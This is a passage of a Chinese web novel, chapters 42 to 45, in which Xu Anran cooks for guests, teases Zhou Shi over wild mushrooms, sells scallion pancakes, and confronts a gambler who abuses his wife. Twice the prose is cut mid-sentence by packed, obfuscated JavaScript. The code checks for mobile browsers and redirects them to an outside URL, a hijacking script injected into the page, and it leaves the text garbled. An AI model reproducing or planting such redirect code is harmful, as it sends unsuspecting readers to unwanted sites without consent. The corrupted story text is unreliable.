她将一整只鸡一分为二,鸡肉内脏已经被周时处理干净了。想到家里人多,她索性做完一整只。 一分为二的鸡,再剁成不大不小的鸡块。 家里的菜刀被周时打磨过后,变得锋利,砍鸡骨头也毫不费力。 切好的鸡块,往里头倒入调味的酒和一勺花椒粉,搅拌均匀。野生的山鸡腥味没有家养的鸡那么重,所以只需要用这两样调味去腥就已经很有效果了。 实际上是,她家里也没其他调味可以做到去腥了。 鸡肉腌制的过程中,顺便做个酱料。 家里目前有的调味,酱油、糖、酸甜酱,她用这些调味做一个简单的酱料,又拿出几个香菇,洗干净后切开,再将芹菜切成段。 这样,配菜和酱料便准备完毕了。 锅里加入芝麻油,热乎后,再加入姜片和蒜瓣,煸炒出香味后,依次加入干辣椒和葱片。 煸炒一会儿,直接倒入鸡块,翻炒到鸡肉颜色变白。 到这里,香味就已经十分明显了,她加入的配菜本身就容易产生香味,所以满厨房的香味,并不奇怪。 但这倒是给厨房外的几位长辈给惊得不行。 “安然这么会下厨?” “是啊,这孩子平日就喜欢在家弄些好吃的,以前不出门的时候,除了抄书,就是研究食物,可惜以前我们家穷,很多菜她都没能亲自做,大多都凭借想象写出来。” 苏清扯了个小谎,将徐安然会下厨这件事给搪塞过去了。 “好在那日遇见了你们家周时,带她上山后,发现了很多食材,我家姑娘便想着到镇上去摆摊卖这些小食,赚了些银子,家里条件这才慢慢变好。” 说起来,她真的很感激周时。 即使她坚信,即使没有周时,她的女儿也能赚到钱,但周时的出现,让她赚钱的路上少了许多坎坷。 之后他又常给家里送肉,这一切,她都记在心里。 想到这,面对李四一家人,苏清更热情了。 厨房内,徐安然无视大家期待的眼神,有条不紊地烧菜。 鸡肉变白后,倒入早已经调配好的酱料。 翻炒过程中,肉渐渐变红,表面都挂上了一层红油酱料。 白烟从锅里冒出,徐安然拿出一旁的调味酒,又倒了半碗,又加了些水没过鸡肉,紧接着将鸡肉转移到砂锅中。 “我来吧,太烫了。” 周时连忙站起身说。 “行。”徐安然停下裹布的动作,“拿布条垫一下吧?” “不必,这点温度我不觉得烫。”说完,周时只手端起一口锅,将里头的鸡肉尽数倒入砂锅中,然后又根据徐安然的指引,将其放在烧着火的灶口中,加上盖子。 “这道菜算是差不多做好了,等半个时辰,将肉炖一炖,入味。” “这道菜叫什么名字?”周时好奇问。 “鸡公煲~一道特别 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这是家里第一次这么热闹,年长的闲坐喝茶聊天,年轻的在忙着备菜。 期间徐安然还抽空观察着苏清,发现她比往常还要开心。不知道是不是因为这样,今日她的咳嗽都没往日那么频繁了。 看来保持心情愉悦,也是维持身体健康的一种方式。 虽然她一直在忙碌,但却一点儿也不觉得累,因为烹饪是她的爱好,她乐在其中。 半个时辰过得很快,但对于一直等着吃饭的长辈们却是一种煎熬。 因为味道真的很香,原本他们还能忍一忍,但随着时间越拉越近,香味便越来越浓郁了。 此时,徐安然的声音从厨房内传来。 “四位长辈,你们想吃面还是米饭呀?” “米饭就行,不用麻烦。”高玉说。 她的话就代表了其他三位的想法。 “行,那我就不加面了。” 她本想加水和盐烫些白面,再搭配上鸡公煲的酱汁,但是大家都不想让她麻烦,那就算了。 有这鸡公煲在,白米饭也足够吃了。 “快,把菜都端出去吧,我们在外边吃。” 她烫了小白菜,还有一道莲藕炒猪肉,但是重头戏依旧是浓郁的鸡公煲。 当它被端到餐桌上时,餐桌边的人都看呆了。 “那个,咱们就不喝酒了哈。” 徐安然不是很想让大家在家里喝酒,怕醉过头了,周时带不回去。 “自然自然,喝酒误事。” 最爱喝酒的李四和李祥云连忙附和道。 周时将这一切都看在眼里,面上充斥着不可置信。 他在家时,自己和高婶都劝不住的两人,只因为徐安然的一句话,居然同意了。 看来让两位长辈戒酒的愿望,估计快要实现了。 “快吃吧,别寒暄了。我都饿了。” 徐安然发完话,几人终于肯动筷了。 果不其然,大家的手纷纷伸向那盘热气腾腾的鸡公煲。 鸡腿肉炖得入味,配菜吸足酱汁,一口下去,酱香带着肉香直窜鼻尖,味道麻辣鲜烫,汁香肉滑嫩,搭配上热乎的白米饭,能吃上三大碗。 “香!小侄女啊,你有这厨艺,早就该开饭馆了!你早开饭馆,还有聚福楼啥事儿啊!”李祥云相见恨晚地说。 虽然夸张了些,但都发自肺腑。 这是他这四十年人生中,吃过的最好吃的鸡肉! 43. 第 43 章 不到片刻,桌上的鸡肉就已经所剩无几了。 徐安然惊叹于他们吃吃饭的速度,但心里更多的是对自己厨艺的高超而感到开心。 爽吃过后,李四总算意识到自己刚才有些不注意形象了,好歹也是第一次在苏清家吃饭,而且对面还坐着自己大侄子喜欢的女孩。 “我刚刚……”他有些支支吾吾。 但话还没说完,便被徐安然接了过去, “食欲真好啊,四叔。” 徐安然语气不带任何歧视和不满,只有对李四这个年纪还有这么好的食欲而感到佩服。 好歹也活了大半辈子了,李四哪里能听不出徐安然的言外之意。 他乐呵呵地笑,这样也能被夸,竟然有些不好意思。这就是家里有个女孩的好啊,说话就是比五大三粗的男人好听。 他连忙点头,并且以一种十分自信的口吻说道:“哎呀,嘿嘿,四叔别的优点没有,食欲好这一点,确实值得一提。特别是在你这么好吃的菜面前,表现得更明显了。” 听到这话的高玉笑着摇了摇头,她轻声训斥:“确实是个不得了的优点。但是安然说就行了,你自己还骄傲上了。” “哎呀,媳妇儿,在苏妹子和安然面前,给我点面子嘛。”说完,又抬头看向苏清和徐安然,“别见怪啊,本人有些惧内。” 此话一出,引得众人开怀大笑。 虽然不是完全意义上的一家人,但一起吃过饭之后,他们之间的羁绊更深了些…… 这顿饭一直吃到天黑,期间,苏清几人又聚在一起的聊了会儿天。 周时负责洗碗,徐安然则坐在树下,双手撑着脸,安安静静地看着滔滔不绝的苏清。 今天的她格外善谈,是自己没见过的模样。如果父亲还在世的话……她应该会更像年轻吧,至少在心态上。 不过现在也不错,她在这里,不会再让苏清受任何委屈了。 “想什么呢?” 周时悄无声息地出现在她身后,语气很轻,没有吓到她。 徐安然转过头,指了指身旁的椅子,“坐会儿吧,高婶和我娘应该没那么快聊完,最少还得再聊上半个时辰的。” 周时嘴角勾起一抹笑,坐在徐安然旁边。 “嗯,我也不着急回去,想……”再陪陪你。后面这四个字他藏在心里,没说出口。 “过两日我要去镇上,你呢?” 徐安然自己都没发现,她现在已经开始无意识地将自己的生活跟周时联系在一起了,去摆摊的日子,都跟他说得明白。 “我也去。家里有还有两只鸡要卖掉。” “行,那我们就一起去呗。不知道秀莲和秀敏去不去,好久没见她们了,不知道她们最近在干什么呢……” 后面的话周时没听进去,只听见了徐安然说着一起去。 他害羞地回了句“好”,随后便低着头笑。不难看出,此刻他的内心非常暗爽。 果真如徐安然所说,苏清和高玉两人畅聊了半个多时辰,直到天黑了,两人才反应过来,她们居然足足聊了两个时辰。 高玉有些不好意思,她站起身,语气带着些许内疚,“哎呀,真是许久没跟人聊这么长时间了,这一不注意,就忘了时间。会不会耽误你和安然休息了?” “哎,哪里是耽误,如果可以啊,我还想跟你聊一个彻夜呢。” “哈哈~有你这话啊,我就放心咯。不过你这身子骨太弱,一个彻夜就算了吧。明日我们再聊?明日啊,我来找你。” 苏清一口答应:“行,那我们就约好,明天见呀。好姐姐,一定得来找我玩呀。” “放心吧,我一定来~” 苏清笑着送走李四一家子人,周时是最后离开的,虽然很不想走,但一想到明天还能再见,便心甘情愿地跟着李四回家了。 家里慢慢变得安静,一轮弯月挂在天上,照进院子里的井水中,产生了一束微弱的光。 徐安然望着这束光发呆,直到苏清出现。 “想什么呢?” 她穿着单薄,是将要入睡时的打扮。 听到苏清的声音,徐安然诧异地转过头,“娘?还没睡呀?” “没,睡不着。今日很开心,我好久没有跟……同龄人聊得这么开心了。” “我早就说过啦,您要多出门跟同龄人交流的嘛,聊聊种种地呀,聊聊八卦呀……”徐安然轻声地说。随后靠在苏清的肩膀上,有一句没一句地闲聊。 “许是年纪到了吧。” “哈哈哈~其实女儿没到年纪也爱听八卦,我前几天还听到村里……” 徐安然来了精神,她将前两日在地里听到的别村的八卦说与苏清听,这些八卦都太猎奇了,令苏清越听越精神。 母女俩就这样八卦到后半夜,苏清甚至想,找个时间去别村逛逛,徐安然很支持,并且表示可以跟她一起去。 直至第二日清晨,徐安然自己都不知道自己是什么时辰才回屋睡觉的了。 不过也没啥需要知道的,因为她要去山下捡柴火了。 周时绕了一段没必要的路,来到她家门外等她。 起床后,徐安然用白面烙了几张饼,馅儿中铺了一层薄薄的白糖,咬一口后,除了麦香味,还有丝丝甜味。 两张烙饼带出门,剩下的留在家里给苏清,和今天可能会来家里找苏清玩的高玉。 “娘,周时来了,我就先出门啦~”徐安然在门口换了双上山才穿的鞋,大声地朝屋内招呼道。 回应的声音从厨房内传出。 现在苏清已经十分放心让徐安然上山了,或者说,只要有周时陪同,她都不会拦着。 “想来,我也好久都没上山了,要不今日顺道上去一趟?” 两人并排走在一条安静的小路上,这是去山上的必经之路,不过山亭村的村民很少有人喜欢上山,所以即使现在已经不早了,这条路也是一个路人都见不着。 “可以呀,你想去哪里我都陪着。” “可是你今日要休息,还是改日吧。” 周时连忙摆手,“明日再休息也行。” 她一脸果然如此的表情看着周时,“别装了你,想帮我捡柴火,还要编出一个自己每个月读会休息几天的谎言干什么?四叔昨日跟我说,在这之前你一年到头都不带休息的。除了下雨天,可今天阳光明媚哦。” 周时抿了抿唇,语气不自然道:“你……你都知道啦。” “嗯,我是何等聪明之人。”徐安然没看周时,径直往前走,“不过我也不是那么不识好歹的人,你那么想帮我,那我就接受好咯。” “嗯!那我们今日上山?” “嗯……”徐安然想了想,“算了,明日要准备食材,后日就要去镇上摆摊,之后还有茶馆的工作要忙,今日还是地好好休息吧。” “嗯,都听你的,或者你想上山摘什么?你告诉我,我可以帮你。” “嗯……你还记得之前我摘的菌子不?上次那个菌子真的很鲜美,这都快到五月了,过了清明,菌子就不肥美不新鲜了,我想在五月之前,再吃一次菌子。”徐安然可怜兮兮地看着周时,语气不自觉地撒娇,“你近日若是有空,能顺道帮我摘一些回来嘛?然后我去你家煮,先不让我娘知道。” “菌子?就是那致幻之物?不行不行不行,我答应过苏婶,不让你碰那东西了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304179|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 周时已经是第二次被菌子伤害了,第一次是自己,第二次是自己喜欢的人。 所以他一听到这两个字,便条件反射地拒绝。 “除了这个,其他一切都可以。”他再补充道。 “不行!”徐安然拔高嗓音,“我就想吃菌子嘛,你上次是没吃过菌子,就连我娘后边醒了之后,都说那菌子鲜美好吃,你知道腌笃鲜吗?不对,你这个以前的古人肯定不知道,腌笃鲜历史没那么久远。” “腌笃鲜?没听过,那是什么?”这道陌生的食材名称,勾起了周时的好奇心。 “有些老吃家,讲究“不时不食”,如今四月,正值春季之中,所以就要吃腌笃鲜,用咸肉、鲜肉和春笋小火慢“笃”,煮出来汤白汁浓、鲜掉眉毛,春日必备的一道美味。” 每次徐安然讲菜,即使还没见过食物,但就是令他馋得不行。但是,他有时候很会抓重点。 “你方才所说的腌笃鲜,貌似没提到菌子啊?” 徐安然不耐烦地“啧”了一声,同时跺了跺脚,叉着腰道:“我吃的腌笃鲜就得加菌子,不行啊?” 本以为周时会点头,毕竟每次他都会顺着她这句话往下说行。 但是…… “还是不行。” 徐安然气得白了他一眼。 “我是厨师,我还能做出,毒死自己的事?” “很多厉害的厨师,都比较偏激,为了美味的食物,不惜伤害自己的身体……” 徐安然实在听不下去了,她抬起手,“打住!!!你不帮我,老娘自己找时间自己上山摘去!反正我还记得路。” 此话一出,周时又道出一句“不行!” “这也不行那也不行,咋地,我现在还没跟你在一块儿呢,你咋管这么多啊?这要以后真在一起了那还得了啊,话都不听我的。”徐安然一边走,一边小声嘀咕,她没有刻意压低声音,反正不论怎样,周时都能听到,他的听力极好。好到有些非人的程度了。 周时突然笑了,他笑起来很好看。 “你……” “我什么我啊?你笑啥呀?别以为你笑起来好看,我就可以原谅你了。” 虽然生起气来的徐安然很像一只暴躁的兔子,很可爱,但周时也是真的怕徐安然不理他了,于是只好妥协了。 “好吧。我给你摘,但我有个要求……” “请讲!” 徐安然突然朝他走近,眼睛亮晶晶地,期待搓手。 周时被股灵动劲儿慌了神,怔了片刻,才继续说道:“你做好之后,我先试吃,过一个时辰,我没事之后,你才能吃。” 过了这么长时间,她都忘不掉那个致幻之物,那就他先试吃,如果他真的再次出现了幻觉,应该就能打消她对菌子的执念了。 她转过身,同意了周时的要求。 “哼,小子,便宜你了,你先吃就你先吃。你绝对会爱上那个味道,真的,没人能拒绝那么鲜美的食物。” “希望吧……”周时有些后怕地说。 倒也不是怕自己出现幻觉,而是怕自己出现幻觉之后,做出一些出格的事情,伤害了徐安然。或者在徐安然面前出糗。 于是他连忙追上徐安然,“不论如何,如果我出现幻觉了,你一定不要靠近我。” 她自信地摆了摆手,“放心啦,不会出现这样的情况……再煮不熟,我就可以收拾收拾退出烹饪界了……” “倒也不必,你做其他的菜还是很美味的。” “谢谢你哦。” “是实话……” “我知道是实话,我只是谦虚。” “嗯……好的谦虚。” 44. 第 44 章 “啧。”徐安然不爽地回头看了周时一眼,催促道,“快点走啊。” “好~”周时大步跟上徐安然。 片刻后,两人一前一后来到山脚下。 “让你快点走,也不是那么快的啊。”徐安然喘着粗气说道,“罢了罢了,我休息会儿。” “行,你休息,我捡柴。” 徐安然怀疑周时是故意的,他故意走快了些,然后自己现在在休息,他就能一个人干活了。 但是这样费尽心思,即使为了多干活?他也太无聊了吧…… 不过,这样看着他干活,也挺有意思的。 每次去远一些的地方捡柴火,周时都会回头看一眼坐着休息的徐安然,直到徐安然挥手让他继续往前走,他才有所行动。 像个听话的游戏NPC,一切行动都要等她下达指令。 不一会儿,周时便带着满满一筐的木柴回来了。 “我再去拾一些粗木柴,这些木柴都比较细,好晒干,但是不好烧。” “哎等等。”徐安然站起身,拍了拍衣服,“我跟你一块去。” “你再休息会儿吧,也快捡完了。” 她不顾周时的劝阻,径直往前走,同时说:“来都来了,怎么都得活动一下。” 她每日也会做些简单的运动,所以身体素质渐渐得到了提高,再加上早睡早起和村里这清新的空气的加持,令她感到十分轻盈。而且这里没有垃圾食品吃,虽然偶尔她会在半夜睡不着的时候想来些烧烤啤酒和炸鸡。 “炸鸡,对哦,我也可以自己做炸鸡啊!” “炸鸡?鸡肉做的?” “嗯!”徐安然一边捡柴,一边回答周时的问题,“是一种高热量的油炸物品,味道还不错,跟烤鸡是截然不同的两种口感。” “正好家里还有两只鸡。” “你不是要带去镇上卖嘛?” “自己吃也是一样。” “算了,那样的好鸡肉我舍不得用来做炸鸡,你还是带去酒楼卖掉吧,我自己在镇上买只童子鸡回来就行。”炸鸡就得用比较小的鸡,更好入味,肉也更容易炸烂,不发柴。 “嗯,好。” 接下来的时间,两人一言不发,阳光烤在他俩身上,徐安然还好,周时的衣服却已经被汗水浸湿了大半。 见状,徐安然叫停了他的工作。 “回去吧,这么多柴够我烧一阵儿了。”她眯着眼说。阳光刺得她眼睛完全睁不开。 周时默默拿起最重的那一筐柴火,嘴上提醒道:“下次出门,得戴个帽子。” “我吗?”她指了指自己。 周时点头,“嗯,对眼睛不好。” “知道了。我没想到今天这么热,过两天才是清明呢。” 她所处的位置在南方,所以过了清明后天气就跟夏天一样炎热了。 “你今天也辛苦了,回去好好休息哦。”徐安然盯着周时额头上的汗,又说。 “没事儿。”他一把擦掉额间的汗,“流些汗而已,很正常。” 说到这,他突然不好意思地看了眼面前的徐安然,问:“你不会嫌弃我吧?” 他不像书院里的那些学生,整日都能干干净净的,一尘不染。 徐安然被他这小心翼翼的模样逗得一乐,她带着笑说:“你把我想成啥了,你帮我干活,我哪里会嫌弃你?” 听到这个回答,周时送了口气。 “那就好,嘿嘿……” 徐安然自诩不是颜控,但说实在的,即使脸上沾了些泥,衣服被汗浸湿,却实在抵不住他的脸好看,把这些根本不算什么的缺点给遮盖住了。所以她一点儿也不嫌弃,这是真话。 周时将徐安然送到家,又帮她把捡回来的柴晒好。本以为做到这他就会离开了,不曾想居然还要替她将一些比较粗的木柴给劈开。 “哎呦,孩子,别忙活了,先坐下来喝口水。”苏清实在看不下去了,周时的年纪比自己女儿大不了多少,也是别人家的孩子,将心比心,做这么多活儿,父母都会心疼。 “谢谢婶儿,我不累。”话虽这么说,但周时还是接过了苏清递来的水,长辈给的,他不能不接。 喝过水后,没休息多久,周时又起身了。 见状,苏清连忙去找徐安然,彼时徐安然正在厨房里琢磨着傍晚的晚餐。 自从来到这儿之后,她每天做重要的思考就是,晚饭吃什么,今日也不例外。 “劝劝呀,好歹让人多休息会儿呀。” 认识周时这么长时间,徐安然自诩还算了解他。 “娘,劝不动的,他就是头倔驴,还是头沉默的倔驴,放心吧,他也不是三岁孩子了,累了会自己休息,饿了会自己吃饭,渴了,也会自己喝水滴。” “可……” “好啦,我去帮他,行了吧?” “嗯……那倒还可以。” 徐安然笑着放下手里的菜,擦了擦手,然后往厨房外走去。 周时见她过来,这才停下手里的活儿。 “休息会儿吧,吃个饼,我娘都看不下去让我出来劝你咯。” “好。” 徐安然的话,他听。 与此同时,门外传来了敲门声。 没等徐安然去开门,苏清飞快出现,一边跑到门口一边开心地说:“一定是阿玉来了。” “看来我i娘,跟你婶婶,已经处成闺蜜了呀。” “仅仅一个傍晚?”周时不可置信地问。 “有时候,女人和女人的友谊,仅仅只需要一个共同的话题,你这个钢铁大直男,不会明白滴~”说完,她紧接着跟苏清来到门口。 来人果真是高玉。 徐安然打了个招呼,便回厨房研究自己的菜去了。明日要去镇上摆摊,卖葱花饼,刚刚去捡柴火的时候,在一处偏僻地方发现了一小片的葱花地,她摘了些回来,恰好家里还有面粉,所以她便临时决定做葱花饼了。 上次摆摊时,也收到了好多学生的反馈,说是想吃葱花饼,作为善良的摊主,自然得实现他们的愿望。 其实也是她自己想吃了。 高玉进门之后,先是跟苏清寒暄了两句,这才发现在院子里砍柴的周时。 “哟,我们家周时换地方工作了?” 高玉和李四待久了,所以说话方面也有些像李四,偶尔也喜欢调侃人,特别是调侃自己老实的大侄子周时。 “嗯,安然家里没柴火了,我帮着砍一些。” “好好干呀,四婶先与你苏姨进屋聊了。”说完,便不再看周时,拉着苏清的手进屋。 于是乎,在徐安然的家里,有砍柴的男人,有聊八卦的女人,还有一位……厨艺非常好的厨师。 他们各自都当对方不存在,沉浸式做自己的活儿。 直到他们各自把自己的活儿做完之后…… 周时和高玉带着葱花饼回家了,而徐安然则开始准备晚饭。 苏清本想留两人在家里吃过饭再走,但高玉说出来前李四已经在准备晚饭了,所以只能遗憾离场。 回去的路上,高玉十分开心。 不仅是因为一直困扰他们夫妻俩的侄子的终身大事如今已经快要解决了,更是因为手上有香喷喷的葱花饼。 “侄儿啊,婶子必须跟你说一句,安然是个好孩子,若是你运气好,安然有天真的接纳你,你可不能辜负了她。” 一顿饭一张饼,便将高玉收买了。 “婶儿,我不是那种负心汉。我很喜欢她,很喜欢很喜欢,就像四叔喜欢你一样。” “得了吧,你四叔就是个吊儿郎当的人,不过……性格却比你有趣。”说完,高玉苦口婆心地劝说,“你啊,有时候确实得多跟你四叔学学怎么逗女孩子开心。” 周时没说话,但心里已经在思考高玉的建议了。 第二日,李四准时驾着牛车出现在村口。 他也不是每日都会驾车在村口等的,虽说可以送大家去镇上,但也得看他啥时候想出工,他不出工的时候,其他想去镇上的人要么花高价跟他借牛车自己去,要么想别的办法自己去镇上。 至于为什么每次徐安然去镇上都能坐牛车,自然是因为有周时在。 即使李四不想去镇上,周时也会自己驾车送徐安然去。 今日她轻装出行,只带了一块干净的餐布,背后是装得满满一筐的葱花饼。 今日,也见到了很久没见到的秀敏姐妹俩,还有之前在地里有过一面之缘的李花,也就是李若兰的母亲。 也是看到她之后,徐安然这才记起来自己答应过的事。但这几天很忙,她没能过去。 “花婶儿,您也去镇上呀?” “哎,我去镇上的书铺买些书纸,若兰要用。” “她怎么不跟您一块儿来?” “害羞呗,不过上次她倒是跟她爹一起出门去了。”说完,阿花看向坐在牛车前的李四,“好像就是去的你家哦?” “对呀。” “还没谢谢你给我们家俊贤介绍活儿呢。” “哎,该谢谢的是安然啦,她的茶馆要修缮,这才有活儿呢。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304180|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“也谢谢你,安然。” “客气了,客气了。” 见她俩聊完了,李秀莲终于能跟徐安然说上话了。 “花婶儿,能不能跟你换个位置,我想挨着安然坐。” 李花无奈地笑了笑,“好好好,让你挨着安然坐。”说完,她扶着牛车站起身来,但即使已经足够小心翼翼了,牛车还是因为她的动作而颠簸了一下。 大家习以为常,没说什么,李花人不错,村里大部分人不会取笑她的身材。 “谢谢花婶!你人真好!” 李秀敏成功换到徐安然身边,笑嘻嘻地看着她。 “安然,好久不见,你的皮肤怎么还比前段时间更好了?”她盯着徐安然的脸,痴迷地说道。 “或许是的因为……最近睡眠不错?” 她来到山亭村好几个月了,已经渐渐适应了这里的作息。再加上这段时间比较忙,所以每天一碰到床就睡着了,压根没有失眠的烦恼。或许正是因为这样,皮肤才变好的吧。 “真羡慕,我这几天就总是半夜醒后睡不着了。” “为何?”徐安然关心地问。 “这不天气越来越热,家里蚊子变多了嘛,整夜在我耳边嗡嗡叫,导致我根本睡不着。” 果然,蚊子这种生物不管在什么时候都是人类讨厌的对象。 不过,她倒是有解决的办法。 “我家有驱蚊草,有空可以来我家取。” “驱蚊香我家也有的,但就是治不了这些可恶的蚊子!” “嗯……我那个驱蚊草,或许比你的驱蚊香管用。” 那是她之前跟周时上山的时候,随手摘下的驱蚊草,她没银子买驱蚊香,但驱蚊草,山里太多了。将草晒干之后,在睡觉之前烧上一小把,产生的烟可以熏走屋内的蚊子,再将门窗关好,一整晚都不会再出现一只蚊子。 但这草也是有缺点的,就是味道比较大,所以必须得提早烧。 “真的呀?那我今天晚上就去找你拿。” “嗯,好。” 说完,她看向周时,“你要吗?我也给你拿一些。” 上次光顾着自己摘了,没给周时一些。 他摇了摇头,“不必,你留着用,我并不怕这些蚊子。” “好。” 两人对话期间,李秀莲一脸八卦地看着两人。几日不见,他们两人之间的氛围……好像有些不对劲儿,更……暧昧了? “我是不是错过了什么呀?”她凑到徐安然耳边,小声地说,“你和周大哥……是不是好上了?” “啧。”徐安然手肘推了推李秀莲,“别乱说。” “我的眼睛可是很毒的,据我看了八百本爱情话本的经验来说,你们肯定的关系肯定有所进展了。” 李秀莲的眼神实在太睿智了,她索性也不藏着掖着。 “一点点,也不算多。现在人太多了,等只有我们几人的时候,我再与你说。” 李秀莲快速点头,“好呀好呀。那我今晚就去找你~” “你这也太八卦了吧。” “人生其中一大乐事,就是八卦呀~” “行,等你以后有了心上人,我也得八卦八卦。” 说到这,李秀莲突然变得娇羞:“哎呀,我早着呢~” “看着不像呢。” “就像就像!” 许是无意间被徐安然戳破了心事,接下来的李秀莲变得很安静。但她的脸颊,一直泛着不可言状的红…… 直到牛车抵达城门口。 一行人各自下车,李花去书铺,李四守着牛车小憩,徐安然和周时前往书院。 与此同时,书院里也有人在等着她。 在看到徐安然时,大家纷纷露出笑容,就像中午下课的学生看到了食堂阿姨的那种发自内心的笑容。 上次送告白信的男子,也在这些人之中。 比起其他人在意美食,她更在意徐安然的答案。 只不过,在排队到他时,与葱花饼一起给他的,还有那封自己送出去的信。 “信我看过了,谢谢你的喜欢,不过,我目前并没有对感情之事并没有想法,所以我把信还给你,祝你早日找到真正与你情投意合的女子。” 徐安然回答滴水不漏,既有礼貌,也不伤人。 男子一脸落寞地接过葱花饼,和信,还想说些什么,但见到站在徐安然身旁的男子那一脸凶很的样,到嘴的话,便不敢说了。 周时突然笑了。 就这胆量,还敢跟他抢人。 怂包。 45. 第 45 章 “他的胆子太小,不适合你。”男子转过身后,周时幽幽地说。 “那谁适合我?你适合我啊?” 随口一问,竟把周时的脸问红了。 更令徐安然没想到的是,他居然点头了。 “真不要脸。” 周时没有接过话,徐安然也没有继续吐槽。 她看着人都来得差不多了,便跟大家说起了开店的事情。她言简意赅,将饭馆的地址和大致的开店时间说了。 大家一传十十传百,很快就都知道了徐安然要在山间开饭馆的事情。 学生们都挺开心的,开店就意味着她会一直在那个地方,什么时候馋了,他们都能去吃一顿。但同时心里也有些不舍,因为……今后他们这些学生再也不能在正午时分吃到这样的美食了,这对他们的这些白日没有多余时间的学生来说,是个非常大的打击。 “徐老板,你以后都不来这边摆摊了吗?”学生再次问。 她点头,笑着说:“不来了,今日是我最后一次在这儿摆摊,还要感激这段时间大家的光顾,希望我新店开张的时候,还能看到大家的身影啊。” 学生们不舍,同样在书院外摆摊的商贩们同样也心有不舍。徐安然在的时候,他们的生意会比平时更好。 现在得知徐安然以后都不会来了,这让他们如何能开心。 要说的话已经说了,葱花饼也所剩无几,她还要去东街买些东西,便提早半个时辰收拾东西离开书院。 “唉,这里好歹是我赚第一桶金的地方,还真有些舍不得。”徐安然回头看了眼自己摆摊的位置,语气有些惆怅。 “开店之后,会很忙,就没空想这些了。” 徐安然吃惊地看着周时,“哟,你还挺了解的嘛。” “聚福楼的掌柜常说与我听。” “看来你们关系很好嘛?” “还好,若是日后你在经营饭馆中有什么不解的问题,我可以代为询问。” “嗯,再说吧,目前做重要的是先把茶馆收拾好。” 她和周时来到东街,在这边请教了一位擅长木工的师傅,请他画了几张图纸,村里的工人虽说有建造房子的经验,但徐安然还是不太放心,所以保险起见,有张图纸,更方便工人们动工。 做完这些,她又去了一趟西街,去找钱一行。 今日没有到取桌子的日子,但她还是想去看一看,顺便买些馄饨回去,今日太累了,她懒得下厨。 馄饨摊的母女俩认得徐安然,见到她来,主动打了声招呼。 “婶子,和上次一样,给我装上三十个馄饨,生的。” “得咧~姑娘你稍作休息,我给您现包。” “不着急,我有时间。” 妇女笑着点头,随后认真忙手上的活儿。 她的女儿此时正在一旁玩耍,这会儿馄饨摊没有客人,孩子自然就能休息了。妇女在包馄饨期间,偶尔也会抬头看向不远处玩耍的孩子,叮嘱了两句后又继续低头包手里的馄饨。 徐安然坐着无聊,便有意无意地跟女子搭话。 “婶婶卖馄饨多久啦?” 曼梅没想到徐安然会主动跟她搭话,受宠若惊地回:“算起来有六个年头了。” “平日生意如何?” “还成,街坊都比较照顾我们母女俩,所以也就能一直坚持到现在。” “也是你们娘俩的馄饨味道好吃,所以大家才愿意买单。” “哎,都是常年累积的经验。” 徐安然点了点头。心里有了想法。 曼梅馄饨包得很利索,眨眼间三十个就包好了,她将其小心翼翼地装好,放进徐安然带来的食盒里。 “谢谢,今日跟你聊得很开心。”徐安然说。 “该是我说开心才是。” “那我们下次见。” 徐安然带着馄饨要离开之际,一个满身酒气的中年男人从她身边经过,眼神凶狠。 她好奇,于是停留了片刻。 只见那男人径直走向馄饨摊,用一种命令的语气,向馄饨摊的女人拿钱。 “钱呢!拿来!” 男人不顾其他路人的目光,一心只想要钱。 一旁玩耍的孩子自从见到男子过来后,便回到了母亲身边,用娇小的身躯护着自己母亲。 身边逐渐传来议论的声音,徐安然目光看向其中一位路人,问:“这男人是谁啊?” “姑娘?不常来这边吧?这个酒鬼便是这馄饨摊主的丈夫,今日啊,指定是在哪输了钱,回来拿钱来了。” “这人每日都赌?”徐安然不可置信地问。 没等他回答,另一位吃瓜的妇人便抢着说:“不能说每日都赌,而是只要有钱就堵,若是不给钱,这母女俩少不了一顿皮肉之苦,唉,真是作孽啊。” “真是窝囊废,靠女人养活。” 周时冷布丁说道。 “今日生意一般,只有三十文,真的没钱了……”曼梅语气已经染上些哭腔了,她将女儿当在自己身后,只剩一人面对这个残暴的丈夫。 她被打还能撑住,但是女儿年纪还小,不能被打。 “娘,我们不给他钱!这是我们的钱!” 曼娘的女儿,一股子倔强,恶狠狠地盯着眼前的父亲。她只恨自己的力气太小,保护不了自己的娘亲。 “嘿你个养不熟的白眼狼,分什么你的我的?没有我能有你吗?”男人一把夺过曼梅手里的钱,淬了一口,“真她娘的蠢,一天只能赚三十文。” 徐安然真的有些看不下去了,她上前一步,对着男人呵斥道:“自己也有手有脚,你又赚了多少呢?” 男人闻声看来,见到是徐安然这么个柔弱的子,随机不屑道:“老子的家事,你管个什么劲儿?” “我只是说句公道话,街坊邻里谁不知道你的为人,靠女人吃饭的玩意儿,你连个小娃娃都不如。” 男人有些被激怒了,撩起袖子走上前,作势要动手。 曼梅见状,松开女儿,上前拉住他。 “这在外面莫惹事,引来官府的人。” 男人一甩胳膊,装腔作势道:“官府?官府会来管这犄角疙瘩的屁事?你当我三岁小孩?”说完,他看向徐安然,面目狰狞,“小妞,管闲事可是要命的,知道吗?” 徐安然可不怕这人,第一她不住在这里,第二……还有周时在旁边。 果不其然,没等她有任何行为,周时便挡在了她面前。 “你说什么?” 男人没想到徐安然出门还带护院,并且还是一个看起来就很能打的护院,他往后退了一步。 